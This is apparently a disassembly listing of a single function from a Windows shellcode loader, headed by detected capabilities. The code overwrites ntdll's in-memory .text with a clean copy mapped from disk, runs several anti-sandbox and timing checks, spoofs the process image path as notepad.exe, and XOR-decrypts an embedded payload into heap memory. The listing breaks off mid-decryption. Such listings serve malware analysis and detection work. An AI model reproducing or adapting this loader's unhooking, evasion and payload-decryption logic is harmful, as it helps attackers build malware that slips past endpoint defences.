Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x958
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8c0], xmm6
mov dword [rbp + 0x900], ecx
mov qword [rbp + 0x908], rdx
call fcn.140002b90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x828], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
mov ecx, 0x5700
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x818], rax
mov dword [rbp + 0x8b4], 0
mov dword [rbp + 0x814], 1
mov dword [rbp + 0x8b0], 0
jmp 0x140001599
mov dword [rbp + 0x8ac], 0
jmp 0x140001589
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8b0]
movsxd rdx, edx
mov rcx, rdx
shl rcx, 8
mov rdx, qword [rbp + 0x818]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x8ac]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x3f
jle 0x140001537
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x56
jle 0x14000152b
mov dword [rbp + 0x8b0], 0
jmp 0x140001600
mov dword [rbp + 0x8ac], 0
jmp 0x1400015f0
mov eax, dword [rbp + 0x8b0]
cdqe
shl rax, 8
mov rdx, rax
mov rax, qword [rbp + 0x818]
add rdx, rax
mov eax, dword [rbp + 0x8ac]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400015e9
add dword [rbp + 0x8b4], 1
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x3f
jle 0x1400015ba
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x56
jle 0x1400015ae
cmp dword [rbp + 0x8b4], 0xae0
je 0x14000161f
mov dword [rbp + 0x814], 0
mov rax, qword [rbp + 0x818]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x8b8], 0
jne 0x140001668
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
je 0x140001abe
mov dword [rbp + 0x810], 0
mov dword [rbp + 0x8a0], 0
mov ecx, 0x3f40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x808], rax
mov dword [rbp + 0x8a8], 0
jmp 0x140001772
mov dword [rbp + 0x8a4], 0
jmp 0x14000175e
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x8a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x808]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x8a4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x8a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x808]
add rdx, rax
mov eax, dword [rbp + 0x8a4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001757
add dword [rbp + 0x8a0], 1
add dword [rbp + 0x8a4], 1
cmp dword [rbp + 0x8a4], 0x57
jle 0x1400016b9
add dword [rbp + 0x8a8], 1
cmp dword [rbp + 0x8a8], 0x2d
jle 0x1400016aa
cmp dword [rbp + 0x8a0], 0x7e8
jne 0x140001795
mov dword [rbp + 0x810], 1
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x670]
mov rax, qword [rbp + 0x820]
mov r10, qword [rbp + 0x8b8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x89c], 0
jmp 0x14000194c
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7cc], eax
mov ecx, dword [rbp + 0x7cc]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x7cc], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7cc]
movq xmm0, rax
call fcn.140003e70
movq rax, xmm0
mov qword [rbp + 0x7c0], rax
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x1e1
jle 0x1400018ce
mov word [rbp + 0x89a], 0
jmp 0x140001aa6
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x89a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a95
mov dword [rbp + 0x638], 0
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x638]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x638]
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x638]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x89a]
add eax, 1
mov word [rbp + 0x89a], ax
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x89a], ax
jb 0x14000196a
mov dword [rbp + 0x894], 0xffffffff
mov ecx, 0x18d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x18d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
add dword [rbp + 0x894], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x894]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x894], 0x318
jle 0x140001aea
mov dword [rbp + 0x63c], 0
mov rax, qword [rbp + 0x830]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x640]
lea rax, [rbp + 0x63c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0xf18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0xf18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x890], 0
jmp 0x140001ceb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x1e2
jle 0x140001c61
mov dword [rbp + 0x890], 0
jmp 0x140001d59
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x890]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x798]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x1e2
jle 0x140001d07
mov rax, qword [rbp + 0x648]
add rax, 0x3c
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x88c], 0
jmp 0x140001dc1
call sub.msvcrt.dll_rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c60
movq rax, xmm0
mov qword [rbp + 0x688], rax
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x1d6
jle 0x140001d83
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov ecx, 0
call rax
mov dword [rbp + 0x784], eax
cmp dword [rbp + 0x784], 0xffffffff
je 0x140002ab9
mov qword [rbp + 0x880], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x140001ecf
mov rax, qword [rbp + 0x778]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x770]
mov r9d, 0x3000
mov r8d, 0x46f
mov edx, 0
call rax
mov qword [rbp + 0x880], rax
cmp qword [rbp + 0x880], 0
je 0x140002ab9
mov qword [rbp + 0x878], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140001f6a
mov rax, qword [rbp + 0x768]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x760]
mov r9d, 0x3000
mov r8d, 0x399
mov edx, 0
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140002ab9
mov qword [rbp + 0x758], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x750]
mov r9d, 0x3000
mov r8d, 0x311
mov edx, 0
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140002ab9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140002ab9
mov rax, qword [rbp + 0x748]
mov edx, 0x3f6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x744], eax
mov qword [rbp + 0x870], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x1400020dd
mov rax, qword [rbp + 0x738]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x730]
mov r9d, 0x3000
mov r8d, 0x499
mov edx, 0
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
je 0x140002ab9
mov qword [rbp + 0x728], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1382a80
mov ecx, 0
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002ab9
mov rax, qword [rbp + 0x728]
mov edx, 0x1382a80
mov rcx, rax
call fcn.140004110
mov rax, qword [rbp + 0x728]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x4cf
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4cf
jne 0x140002ab9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37e9280
mov ecx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002ab9
mov rax, qword [rbp + 0x718]
mov edx, 0x37e9280
mov rcx, rax
call fcn.140004110
mov rax, qword [rbp + 0x718]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x70c], 0x2ae
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x27c
jbe 0x140002ab9
lea rax, [rbp + 0x140]
lea rdx, [0x140006128]
mov ecx, 0x9e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x86c], 0x320
mov dword [rbp + 0x868], 0x2d0
jmp 0x140002368
mov eax, dword [rbp + 0x86c]
cmp eax, dword [rbp + 0x868]
jle 0x140002361
sub dword [rbp + 0x86c], 1
jmp 0x140002368
sub dword [rbp + 0x868], 1
cmp dword [rbp + 0x86c], 0
jg 0x14000234a
mov dword [rbp + 0x864], 0
jmp 0x1400023c2
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c60
movq rax, xmm0
mov qword [rbp + 0x690], rax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x68
jle 0x14000237d
mov rax, qword [rbp + 0x828]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 0
mov edx, 0x4ef
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x4ef
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x4ef
mov rcx, rax
call r9
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x858], 0
movabs rax, 0xbeae72e34831b7b5
movabs rdx, 0x5345ec14e1d14fdf
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xfdd15790c247710c
movabs rdx, 0xd483fa09d26c62ac
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xd849af327c7c4c93
movabs rdx, 0xc615e0dd5c4b1e6c
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x50351254c04123eb
movabs rdx, 0x9147506cb9e91db6
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xc6e242adead4569b
movabs rdx, 0xcf262d5c60c92a29
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xf971b87434dc5618
movabs rdx, 0xf46129d1d1b340e0
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x7e73085c7f95c50c
movabs rdx, 0xe73e93e449bde68e
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x831e6909a555d8e7
movabs rdx, 0xd729702b5e7230
mov qword [rbp + 0x12f], rax
mov qword [rbp + 0x137], rdx
movabs rax, 0x8a2fba0961903c8
movabs rdx, 0x452e050451581e7b
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x91be7c489410dcc8
movabs rdx, 0xb3a4507e9df5df66
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x43c383b988f370aa
movabs rdx, 0x88d0739bb9612101
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x73ea06d53c6c5dbe
movabs rdx, 0x2aebb739d53e8315
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x23dfbd2c9c61bcc6
movabs rdx, 0x9fb804b97a239604
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x5680c68bef38fd1b
movabs rdx, 0x8135bb5bb2999540
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xfb1059d65364c28b
movabs rdx, 0x4568efdb910e1f5e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov byte [rbp + 0x30], 0
jmp 0x14000292d
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x6ac], 0x1e7
mov dword [rbp + 0x6a8], 0xf3
mov eax, dword [rbp + 0x6ac]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x854], 0
jmp 0x140002701
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x854]
mov dword [rdx], eax
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x6a8]
jl 0x1400026d8
mov dword [rbp + 0x854], 1
jmp 0x140002793
mov eax, dword [rbp + 0x854]
mov dword [rbp + 0x850], eax
jmp 0x14000276a
mov edx, dword [rbp + 0x854]
mov eax, dword [rbp + 0x850]
add edx, eax
mov eax, dword [rbp + 0x854]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x850]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x854]
mov edx, dword [rbp + 0x854]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x850], eax
jle 0x140002729
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x6a8]
jl 0x14000271b
cmp dword [rbp + 0x6ac], 2
jle 0x1400027d7
mov eax, dword [rbp + 0x84c]
lea edx, [rax + 1]
mov dword [rbp + 0x84c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x854], 1
jmp 0x14000283b
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002834
mov eax, dword [rbp + 0x854]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x84c]
lea edx, [rax + 1]
mov dword [rbp + 0x84c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x6a8]
jl 0x1400027e3
mov dword [rbp + 0x69c], 2
mov dword [rbp + 0x848], 0
mov dword [rbp + 0x854], 0
jmp 0x140002897
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002890
add dword [rbp + 0x848], 1
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x69c]
jl 0x140002869
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x85c], 0x6f
jne 0x1400028f4
mov eax, dword [rbp + 0x860]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x85c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x860]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x85c], 0
jmp 0x140002926
mov eax, dword [rbp + 0x860]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x85c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x860]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x85c], 1
add dword [rbp + 0x860], 1
mov eax, dword [rbp + 0x860]
cmp eax, 0x7d
jbe 0x140002690
mov dword [rbp + 0x860], 0
jmp 0x1400029ea
cmp dword [rbp + 0x858], 0x7d
jne 0x14000299e
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x858]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
